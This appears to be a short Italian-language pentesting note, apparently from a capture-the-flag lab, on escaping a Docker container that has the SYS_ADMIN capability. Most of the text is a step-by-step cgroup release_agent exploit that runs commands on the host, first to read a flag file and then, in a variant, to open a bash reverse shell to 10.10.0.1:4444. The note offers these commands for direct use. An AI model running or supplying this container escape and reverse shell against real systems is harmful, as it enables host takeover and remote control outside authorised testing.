tags: Docker_Capabilities docker privilage_escalation priv_esc


Quando all’interno di un docker tramite questo comando capsh --print ci appare un output del genere:

Oppure ancora meglio tramite questo comando:

capsh --print | grep sys_admin

Possiamo eseguire comandi sulla macchina host seguendo questa guida oppure eseguendo direttamente questi comandi uno alla volta (in questo esempio leggiamo solo il file flag.txt):

 
1.  mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
 
2.  echo 1 > /tmp/cgrp/x/notify_on_release
 
3.  host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
 
4.  echo "$host_path/exploit" > /tmp/cgrp/release_agent
 
5.  echo '#!/bin/sh' > /exploit
 
6.  echo "cat /home/cmnatic/flag.txt > $host_path/flag.txt" >> /exploit
 
7.  chmod a+x /exploit
 
8.  sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
 

Se al posto di leggere la flag.txt volessimo ottenere una reverse shell ci basterebbe modificare i punti 4, 5, 6 che equivalgono alla definizione dell’exploit:

 
#Al posto di:
 
4.  echo "$host_path/exploit" > /tmp/cgrp/release_agent
 
5.  echo '#!/bin/sh' > /exploit
 
6.  echo "cat /home/cmnatic/flag.txt > $host_path/flag.txt" >> /exploit
 
#Usa:
 
4. echo '#!/bin/sh' > /exploit
   
5. echo 'bash -i >& /dev/tcp/10.10.0.1/4444 0>&1' >> /exploit
   
6. chmod a+x /exploit 
  

Nel caso non dovesse funzionare guarda quali strumenti hai a disposizione tramite il comando which e usa quelli.